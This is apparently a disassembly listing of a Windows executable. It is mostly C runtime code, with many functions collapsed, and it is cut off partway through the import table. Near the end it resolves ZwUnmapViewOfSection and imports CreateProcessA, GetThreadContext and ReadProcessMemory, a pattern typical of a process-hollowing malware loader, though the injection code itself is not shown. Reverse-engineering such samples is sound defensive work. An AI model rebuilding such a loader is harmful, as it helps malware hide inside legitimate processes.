cmp [ecx+0F8h], eax jmp short loc_4020A5 ; --------------------------------------------------------------------------- loc_402097: ; CODE XREF: .text:00402078j xor eax, eax cmp dword ptr [ecx+74h], 0Eh jbe short locret_4020A8 cmp [ecx+0E8h], eax loc_4020A5: ; CODE XREF: .text:00402095j setnz al locret_4020A8: ; CODE XREF: .text:0040208Dj ; .text:0040209Dj retn ; [000001DC BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] ; [0000001A BYTES: COLLAPSED FUNCTION ___heap_select. PRESS KEYPAD "+" TO EXPAND] ; [00000051 BYTES: COLLAPSED FUNCTION __heap_init. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __heap_term: cmp dword_40CDC8, 3 jnz short loc_402362 push ebx xor ebx, ebx cmp dword_40CDAC, ebx push ebp mov ebp, ds:dword_409054 jle short loc_402350 push esi mov esi, dword_40CDB0 push edi mov edi, ds:dword_409050 add esi, 0Ch loc_40231C: ; CODE XREF: .text:0040234Cj push 4000h push 100000h push dword ptr [esi] call edi ; VirtualFree push 8000h push 0 push dword ptr [esi] call edi ; VirtualFree push dword ptr [esi+4] push 0 push dword_40CDC4 call ebp ; RtlFreeHeap add esi, 14h inc ebx cmp ebx, dword_40CDAC jl short loc_40231C pop edi pop esi loc_402350: ; CODE XREF: .text:00402309j push dword_40CDB0 push 0 push dword_40CDC4 call ebp ; RtlFreeHeap pop ebp pop ebx loc_402362: ; CODE XREF: .text:004022F7j push dword_40CDC4 call ds:dword_409048 ; HeapDestroy retn ; --------------------------------------------------------------------------- mov eax, dword_40CDC4 retn ; [00000015 BYTES: COLLAPSED FUNCTION __get_sbh_threshold. PRESS KEYPAD "+" TO EXPAND] ; [00000048 BYTES: COLLAPSED FUNCTION ___sbh_heap_init. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND] ; [00000318 BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND] ; [000000B7 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+" TO EXPAND] ; [00000106 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND] ; [000002DF BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ___sbh_heapmin: mov eax, dword_40CDA8 test eax, eax jz locret_402C81 mov ecx, dword_40CDC0 push 4000h shl ecx, 0Fh add ecx, [eax+0Ch] push 8000h push ecx call ds:dword_409050 ; VirtualFree mov ecx, dword_40CDC0 mov eax, dword_40CDA8 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_40CDA8 mov eax, [eax+10h] mov ecx, dword_40CDC0 and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_40CDA8 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_40CDA8 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_402C28 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_40CDA8 loc_402C28: ; CODE XREF: .text:00402C1Dj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_402C7A cmp dword_40CDAC, 1 jle short loc_402C7A push dword ptr [eax+10h] push 0 push dword_40CDC4 call ds:dword_409054 ; RtlFreeHeap mov eax, dword_40CDAC mov edx, dword_40CDB0 lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_40CDA8 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call _memcpy_0 add esp, 0Ch dec dword_40CDAC loc_402C7A: ; CODE XREF: .text:00402C2Cj ; .text:00402C35j and dword_40CDA8, 0 locret_402C81: ; CODE XREF: .text:00402BB8j retn ; [00000319 BYTES: COLLAPSED FUNCTION ___sbh_heap_check. PRESS KEYPAD "+" TO EXPAND] ; [0000005B BYTES: COLLAPSED FUNCTION __set_sbh_threshold. PRESS KEYPAD "+" TO EXPAND] ; [000002FC BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov ecx, [esp+4] mov eax, dword_40B824 mov dword_40B824, ecx retn ; --------------------------------------------------------------------------- mov eax, dword_40B824 retn ; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS KEYPAD "+" TO EXPAND] ; [00000088 BYTES: COLLAPSED FUNCTION __stbuf. PRESS KEYPAD "+" TO EXPAND] ; [0000003C BYTES: COLLAPSED FUNCTION __ftbuf. PRESS KEYPAD "+" TO EXPAND] ; [00000033 BYTES: COLLAPSED FUNCTION _write_char. PRESS KEYPAD "+" TO EXPAND] ; [00000024 BYTES: COLLAPSED FUNCTION _write_multi_char. PRESS KEYPAD "+" TO EXPAND] ; [00000037 BYTES: COLLAPSED FUNCTION _write_string. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- _get_int_arg: add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn ; --------------------------------------------------------------------------- _get_int64_arg: add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn ; --------------------------------------------------------------------------- _get_short_arg: add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn ; [000007DA BYTES: COLLAPSED FUNCTION __output. PRESS KEYPAD "+" TO EXPAND] off_403C6E dd offset loc_4036B0 ; DATA XREF: __output+85r dd offset loc_403520 ; jump table for switch statement dd offset loc_40353D dd offset loc_403589 dd offset loc_4035CA dd offset loc_4035D3 dd offset loc_403611 dd offset loc_4036F2 ; --------------------------------------------------------------------------- mov eax, offset off_40B068 retn ; [000000A6 BYTES: COLLAPSED FUNCTION ___initstdio. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION ___endstdio. PRESS KEYPAD "+" TO EXPAND] ; [000000DE BYTES: COLLAPSED FUNCTION __filbuf. PRESS KEYPAD "+" TO EXPAND] ; [000001EE BYTES: COLLAPSED FUNCTION __read. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000033D BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+" TO EXPAND] ; [00000048 BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __initterm_e: push esi mov esi, eax xor eax, eax jmp short loc_4043BB ; --------------------------------------------------------------------------- loc_4043AC: ; CODE XREF: .text:004043BFj test eax, eax jnz short loc_4043C1 mov ecx, [esi] test ecx, ecx jz short loc_4043B8 call ecx loc_4043B8: ; CODE XREF: .text:004043B4j add esi, 4 loc_4043BB: ; CODE XREF: .text:004043AAj cmp esi, [esp+8] jb short loc_4043AC loc_4043C1: ; CODE XREF: .text:004043AEj pop esi retn ; [0000006A BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+" TO EXPAND] ; [000000C1 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND] ; [0000000F BYTES: COLLAPSED FUNCTION __cexit. PRESS KEYPAD "+" TO EXPAND] ; [0000000F BYTES: COLLAPSED FUNCTION __c_exit. PRESS KEYPAD "+" TO EXPAND] ; [000001AB BYTES: COLLAPSED FUNCTION __ioinit. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __ioterm: push esi mov esi, offset dword_40BC80 loc_4046DF: ; CODE XREF: .text:004046F8j mov eax, [esi] test eax, eax jz short loc_4046EF push eax call _free and dword ptr [esi], 0 pop ecx loc_4046EF: ; CODE XREF: .text:004046E3j add esi, 4 cmp esi, offset dword_40BD80 jl short loc_4046DF pop esi retn ; [0000008C BYTES: COLLAPSED FUNCTION __lseek. PRESS KEYPAD "+" TO EXPAND] ; [0000005D BYTES: COLLAPSED FUNCTION __flush. PRESS KEYPAD "+" TO EXPAND] ; [0000003B BYTES: COLLAPSED FUNCTION _fflush. PRESS KEYPAD "+" TO EXPAND] ; [0000006D BYTES: COLLAPSED FUNCTION _flsall. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_40488D proc near ; CODE XREF: ___endstdiop push 1 call _flsall pop ecx retn sub_40488D endp ; [00000168 BYTES: COLLAPSED FUNCTION __openfile. PRESS KEYPAD "+" TO EXPAND] ; [00000072 BYTES: COLLAPSED FUNCTION __getstream. PRESS KEYPAD "+" TO EXPAND] ; [00000177 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __GET_RTERRMSG: mov ecx, [esp+4] xor eax, eax loc_404BED: ; CODE XREF: .text:00404BFAj cmp ecx, dword_40B2F8[eax*8] jz short loc_404BFC inc eax cmp eax, 13h jb short loc_404BED loc_404BFC: ; CODE XREF: .text:00404BF4j shl eax, 3 cmp ecx, dword_40B2F8[eax] jnz short loc_404C0E mov eax, off_40B2FC[eax] retn ; --------------------------------------------------------------------------- loc_404C0E: ; CODE XREF: .text:00404C05j xor eax, eax retn ; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- _xcptlookup: mov ecx, dword_40B410 mov eax, offset dword_40B390 push esi loc_404C56: ; CODE XREF: .text:00404C69j cmp [eax], edx jz short loc_404C6B lea esi, [ecx+ecx*2] add eax, 0Ch lea esi, ds:40B390h[esi*4] cmp eax, esi jb short loc_404C56 loc_404C6B: ; CODE XREF: .text:00404C58j lea ecx, [ecx+ecx*2] lea ecx, ds:40B390h[ecx*4] cmp eax, ecx pop esi jnb short loc_404C7E cmp [eax], edx jz short locret_404C80 loc_404C7E: ; CODE XREF: .text:00404C78j xor eax, eax locret_404C80: ; CODE XREF: .text:00404C7Cj retn ; [00000171 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ___CppXcptFilter: mov eax, 0E06D7363h cmp [esp+4], eax jnz short loc_404E0A push dword ptr [esp+8] push eax call __XcptFilter pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_404E0A: ; CODE XREF: .text:00404DFBj xor eax, eax retn ; [0000005D BYTES: COLLAPSED FUNCTION __wincmdln. PRESS KEYPAD "+" TO EXPAND] ; [000000C7 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND] ; [0000016C BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND] ; [000000A2 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND] ; [00000122 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405261 proc near ; CODE XREF: start:loc_40219Cp var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_409720 call __SEH_prolog mov [ebp+var_1C], offset dword_409F1C loc_405274: ; CODE XREF: sub_405261+3Cj cmp [ebp+var_1C], offset dword_409F1C jnb short loc_40529F and [ebp+ms_exc.disabled], 0 mov eax, [ebp+var_1C] mov eax, [eax] test eax, eax jz short loc_405295 call eax jmp short loc_405295 ; --------------------------------------------------------------------------- loc_40528E: ; DATA XREF: .rdata:stru_409720o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_405292: ; DATA XREF: .rdata:stru_409720o mov esp, [ebp+ms_exc.old_esp] loc_405295: ; CODE XREF: sub_405261+27j ; sub_405261+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh add [ebp+var_1C], 4 jmp short loc_405274 ; --------------------------------------------------------------------------- loc_40529F: ; CODE XREF: sub_405261+1Aj call __SEH_epilog retn sub_405261 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; void sub_4052A5(void) sub_4052A5 proc near ; DATA XREF: __cinit:loc_4043FEo var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_409730 call __SEH_prolog mov [ebp+var_1C], offset dword_409F24 loc_4052B8: ; CODE XREF: sub_4052A5+3Cj cmp [ebp+var_1C], offset dword_409F24 jnb short loc_4052E3 and [ebp+ms_exc.disabled], 0 mov eax, [ebp+var_1C] mov eax, [eax] test eax, eax jz short loc_4052D9 call eax jmp short loc_4052D9 ; --------------------------------------------------------------------------- loc_4052D2: ; DATA XREF: .rdata:stru_409730o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_4052D6: ; DATA XREF: .rdata:stru_409730o mov esp, [ebp+ms_exc.old_esp] loc_4052D9: ; CODE XREF: sub_4052A5+27j ; sub_4052A5+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh add [ebp+var_1C], 4 jmp short loc_4052B8 ; --------------------------------------------------------------------------- loc_4052E3: ; CODE XREF: sub_4052A5+1Aj call __SEH_epilog retn sub_4052A5 endp ; --------------------------------------------------------------------------- align 4 ; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; [000000E6 BYTES: COLLAPSED FUNCTION __except_handler3. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION _seh_longjmp_unwind(x). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000033D BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND] ; [00000027 BYTES: COLLAPSED FUNCTION __isatty. PRESS KEYPAD "+" TO EXPAND] ; [00000116 BYTES: COLLAPSED FUNCTION __flsbuf. PRESS KEYPAD "+" TO EXPAND] ; [00000038 BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000008B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+" TO EXPAND] ; [00000066 BYTES: COLLAPSED FUNCTION _wctomb. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov eax, off_40B43C retn ; --------------------------------------------------------------------------- mov eax, off_40B438 retn ; --------------------------------------------------------------------------- ; [0000001D BYTES: COLLAPSED CHUNK OF FUNCTION sub_405A3E. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_405A2A proc near ; DATA XREF: .rdata:stru_409C48o xor eax, eax inc eax retn sub_405A2A endp ; =============== S U B R O U T I N E ======================================= sub_405A2E proc near ; DATA XREF: .rdata:stru_409C48o mov esp, [ebp-18h] sub_405A2E endp ; sp-analysis failed ; [0000000D BYTES: COLLAPSED CHUNK OF FUNCTION sub_405A3E. PRESS KEYPAD "+" TO EXPAND] ; [0000000E BYTES: COLLAPSED FUNCTION sub_405A3E. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000095 BYTES: COLLAPSED FUNCTION __aulldvrm. PRESS KEYPAD "+" TO EXPAND] ; [0000007B BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+" TO EXPAND] ; [00000058 BYTES: COLLAPSED FUNCTION __fcloseall. PRESS KEYPAD "+" TO EXPAND] ; [00000044 BYTES: COLLAPSED FUNCTION __getbuf. PRESS KEYPAD "+" TO EXPAND] ; [0000005F BYTES: COLLAPSED FUNCTION __dosmaperr. PRESS KEYPAD "+" TO EXPAND] ; [00000082 BYTES: COLLAPSED FUNCTION __onexit. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+" TO EXPAND] ; [00000028 BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND] ; [0000009D BYTES: COLLAPSED FUNCTION __alloc_osfhnd. PRESS KEYPAD "+" TO EXPAND] ; [00000077 BYTES: COLLAPSED FUNCTION __set_osfhnd. PRESS KEYPAD "+" TO EXPAND] ; [0000007A BYTES: COLLAPSED FUNCTION __free_osfhnd. PRESS KEYPAD "+" TO EXPAND] ; [0000003C BYTES: COLLAPSED FUNCTION __get_osfhandle. PRESS KEYPAD "+" TO EXPAND] ; [0000009D BYTES: COLLAPSED FUNCTION __open_osfhandle. PRESS KEYPAD "+" TO EXPAND] ; [000001F0 BYTES: COLLAPSED FUNCTION __write. PRESS KEYPAD "+" TO EXPAND] ; [00000057 BYTES: COLLAPSED FUNCTION unknown_libname_2. PRESS KEYPAD "+" TO EXPAND] ; [000002D0 BYTES: COLLAPSED FUNCTION __sopen. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push dword ptr [esp+0Ch] push 40h push dword ptr [esp+10h] push dword ptr [esp+10h] call __sopen add esp, 10h retn ; [000000F9 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000E8 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000124 BYTES: COLLAPSED FUNCTION _strncpy. PRESS KEYPAD "+" TO EXPAND] ; [00000033 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push 1 push 0 push dword ptr [esp+0Ch] call _x_ismbbtype add esp, 0Ch retn ; [00000011 BYTES: COLLAPSED FUNCTION __ismbbkprint. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __ismbbkpunct. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION __ismbbalnum. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION __ismbbalpha. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION __ismbbgraph. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION __ismbbprint. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __ismbbpunct. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __ismbbtrail. PRESS KEYPAD "+" TO EXPAND] ; [00000027 BYTES: COLLAPSED FUNCTION __ismbbkana. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- _getSystemCP: and dword_40B9B4, 0 cmp eax, 0FFFFFFFEh jnz short loc_406900 mov dword_40B9B4, 1 jmp ds:dword_4090B4 ; --------------------------------------------------------------------------- loc_406900: ; CODE XREF: .text:004068EEj cmp eax, 0FFFFFFFDh jnz short loc_406915 mov dword_40B9B4, 1 jmp ds:dword_4090B0 ; --------------------------------------------------------------------------- loc_406915: ; CODE XREF: .text:00406903j cmp eax, 0FFFFFFFCh jnz short locret_406929 mov eax, dword_40BA1C mov dword_40B9B4, 1 locret_406929: ; CODE XREF: .text:00406918j retn ; [0000002F BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS. PRESS KEYPAD "+" TO EXPAND] ; [0000018C BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD "+" TO EXPAND] ; [000001E6 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND] ; [00000010 BYTES: COLLAPSED FUNCTION __getmbcp. PRESS KEYPAD "+" TO EXPAND] ; [0000001E BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler. PRESS KEYPAD "+" TO EXPAND] ; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __NLG_Notify1: push ebx push ecx mov ebx, offset dword_40B6B8 jmp short loc_406E04 ; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND] ; [00000229 BYTES: COLLAPSED FUNCTION __ValidateEH3RN. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION __fptrap. PRESS KEYPAD "+" TO EXPAND] ; [00000066 BYTES: COLLAPSED FUNCTION ___security_init_cookie. PRESS KEYPAD "+" TO EXPAND] ; [00000147 BYTES: COLLAPSED FUNCTION ___security_error_handler. PRESS KEYPAD "+" TO EXPAND] align 2 mov ecx, [esp+4] mov eax, dword_40BA24 mov dword_40BA24, ecx retn ; --------------------------------------------------------------------------- ___buffer_overrun: push 0 push 1 call ___security_error_handler ; --------------------------------------------------------------------------- pop ecx pop ecx retn ; --------------------------------------------------------------------------- align 10h ; [00000060 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+" TO EXPAND] ; [00000056 BYTES: COLLAPSED FUNCTION _fclose. PRESS KEYPAD "+" TO EXPAND] ; [00000162 BYTES: COLLAPSED FUNCTION _realloc. PRESS KEYPAD "+" TO EXPAND] ; [00000038 BYTES: COLLAPSED FUNCTION __msize. PRESS KEYPAD "+" TO EXPAND] ; [0000009F BYTES: COLLAPSED FUNCTION __lseeki64. PRESS KEYPAD "+" TO EXPAND] ; [000000B3 BYTES: COLLAPSED FUNCTION __close. PRESS KEYPAD "+" TO EXPAND] ; [0000015C BYTES: COLLAPSED FUNCTION __chsize. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- _strncnt: mov ecx, [esp+4] test ecx, ecx jz short loc_407721 loc_407716: ; CODE XREF: .text:0040771Fj dec ecx cmp byte ptr [eax], 0 jz short loc_407722 inc eax test ecx, ecx jnz short loc_407716 loc_407721: ; CODE XREF: .text:00407714j dec ecx loc_407722: ; CODE XREF: .text:0040771Aj mov eax, [esp+4] sub eax, ecx dec eax retn ; [000003BC BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS KEYPAD "+" TO EXPAND] ; [000001BA BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION __freebuf. PRESS KEYPAD "+" TO EXPAND] ; [00000082 BYTES: COLLAPSED FUNCTION __setmode. PRESS KEYPAD "+" TO EXPAND] ; [00000043 BYTES: COLLAPSED FUNCTION ___ansicp. PRESS KEYPAD "+" TO EXPAND] ; [000001C9 BYTES: COLLAPSED FUNCTION ___convertcp. PRESS KEYPAD "+" TO EXPAND] ; [000000E3 BYTES: COLLAPSED FUNCTION __resetstkoflw. PRESS KEYPAD "+" TO EXPAND] ; [00000058 BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp _atol ; [00000079 BYTES: COLLAPSED FUNCTION __atoi64. PRESS KEYPAD "+" TO EXPAND] ; [00000090 BYTES: COLLAPSED FUNCTION __ismbcspace. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000034 BYTES: COLLAPSED FUNCTION __allmul. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __chvalidator: mov eax, [esp+4] mov ecx, off_40B438 movzx eax, word ptr [ecx+eax*2] and eax, [esp+8] retn ; [0000007E BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND] align 2 jmp ds:dword_409000 ; --------------------------------------------------------------------------- jmp ds:dword_409004 ; --------------------------------------------------------------------------- jmp ds:dword_409008 ; --------------------------------------------------------------------------- jmp ds:dword_40900C ; --------------------------------------------------------------------------- jmp ds:dword_409010 ; --------------------------------------------------------------------------- jmp ds:dword_409014 ; --------------------------------------------------------------------------- jmp ds:dword_409018 ; --------------------------------------------------------------------------- jmp ds:dword_40901C ; --------------------------------------------------------------------------- jmp ds:dword_409020 ; --------------------------------------------------------------------------- jmp ds:dword_409024 ; --------------------------------------------------------------------------- jmp ds:dword_409028 ; --------------------------------------------------------------------------- jmp ds:dword_40902C ; --------------------------------------------------------------------------- jmp ds:dword_409030 ; --------------------------------------------------------------------------- jmp ds:dword_409034 ; --------------------------------------------------------------------------- jmp ds:dword_409038 ; --------------------------------------------------------------------------- jmp ds:dword_40903C ; --------------------------------------------------------------------------- jmp ds:dword_409040 ; --------------------------------------------------------------------------- jmp ds:dword_409044 ; --------------------------------------------------------------------------- jmp ds:dword_409048 ; --------------------------------------------------------------------------- jmp ds:dword_40904C ; --------------------------------------------------------------------------- jmp ds:dword_409050 ; --------------------------------------------------------------------------- jmp ds:dword_409054 ; --------------------------------------------------------------------------- jmp ds:dword_409058 ; --------------------------------------------------------------------------- jmp ds:dword_40905C ; --------------------------------------------------------------------------- jmp ds:dword_409060 ; --------------------------------------------------------------------------- jmp ds:dword_409064 ; --------------------------------------------------------------------------- jmp ds:dword_409068 ; --------------------------------------------------------------------------- jmp ds:dword_40906C ; --------------------------------------------------------------------------- jmp ds:dword_409070 ; --------------------------------------------------------------------------- jmp ds:dword_409074 ; --------------------------------------------------------------------------- jmp ds:dword_409078 ; --------------------------------------------------------------------------- jmp ds:dword_40907C ; --------------------------------------------------------------------------- jmp ds:dword_409080 ; --------------------------------------------------------------------------- jmp ds:dword_409084 ; --------------------------------------------------------------------------- jmp ds:dword_409088 ; --------------------------------------------------------------------------- jmp ds:dword_40908C ; --------------------------------------------------------------------------- jmp ds:dword_409090 ; --------------------------------------------------------------------------- jmp ds:dword_409094 ; --------------------------------------------------------------------------- jmp ds:dword_409098 ; --------------------------------------------------------------------------- jmp ds:dword_40909C ; --------------------------------------------------------------------------- jmp ds:dword_4090A0 ; --------------------------------------------------------------------------- jmp ds:dword_4090A4 ; --------------------------------------------------------------------------- jmp ds:dword_4090A8 ; --------------------------------------------------------------------------- jmp ds:dword_4090AC ; --------------------------------------------------------------------------- jmp ds:dword_4090B0 ; --------------------------------------------------------------------------- jmp ds:dword_4090B4 ; --------------------------------------------------------------------------- jmp ds:dword_4090B8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_408390 proc near ; CODE XREF: __global_unwind2+13p jmp ds:dword_4090BC sub_408390 endp ; --------------------------------------------------------------------------- jmp ds:dword_4090C0 ; --------------------------------------------------------------------------- jmp ds:dword_4090C4 ; --------------------------------------------------------------------------- jmp ds:dword_4090C8 ; --------------------------------------------------------------------------- jmp ds:dword_4090CC ; --------------------------------------------------------------------------- jmp ds:dword_4090D0 ; --------------------------------------------------------------------------- jmp ds:dword_4090D4 ; --------------------------------------------------------------------------- jmp ds:dword_4090D8 ; --------------------------------------------------------------------------- jmp ds:dword_4090DC ; --------------------------------------------------------------------------- jmp ds:dword_4090E0 ; --------------------------------------------------------------------------- jmp ds:dword_4090E4 ; --------------------------------------------------------------------------- jmp ds:dword_4090E8 ; --------------------------------------------------------------------------- jmp ds:dword_4090EC ; --------------------------------------------------------------------------- jmp ds:dword_4090F0 ; --------------------------------------------------------------------------- jmp ds:dword_4090F4 ; --------------------------------------------------------------------------- jmp ds:dword_4090F8 ; --------------------------------------------------------------------------- jmp ds:dword_4090FC ; --------------------------------------------------------------------------- jmp ds:dword_409100 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408400 proc near ; DATA XREF: .data:0040B008o push offset aZwunmapviewofs ; "ZwUnmapViewOfSection" push offset aNtdll_dll ; "ntdll.dll" call ds:dword_409020 ; GetModuleHandleA push eax call ds:dword_409004 ; GetProcAddress mov dword_40B814, eax retn sub_408400 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408420 proc near ; DATA XREF: .data:0040B00Co push offset dword_40925C push offset aKernel32_dll ; "kernel32.dll" call ds:dword_409020 ; GetModuleHandleA push eax call ds:dword_409004 ; GetProcAddress mov dword_40B810, eax retn sub_408420 endp _text ends ; Section 2. (virtual address 00009000) ; Virtual size : 000014E2 ( 5346.) ; Section size in file : 000014E2 ( 5346.) ; Offset to raw data for section: 00009000 ; Flags 40000040: Data Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 409000h dword_409000 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrary ; .text:00408276r dword_409004 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; .text:0040104Fr ... dword_409008 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; ___crtMessageBoxA+18r ... dword_40900C dd 7C80B9A0h ; resolved to->KERNEL32.VirtualQueryEx ; .text:00408288r dword_409010 dd 7C8021CCh ; resolved to->KERNEL32.ReadProcessMemory ; .text:0040828Er dword_409014 dd 7C83970Dh ; resolved to->KERNEL32.GetThreadContext ; .text:00408294r dword_409018 dd 7C802367h ; resolved to->KERNEL32.CreateProcessA ; .text:0040829Ar dword_40901C dd 7C801E16h ; resolved to->KERNEL32.TerminateProcess ; .text:004019D8r ... dword_409020 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; 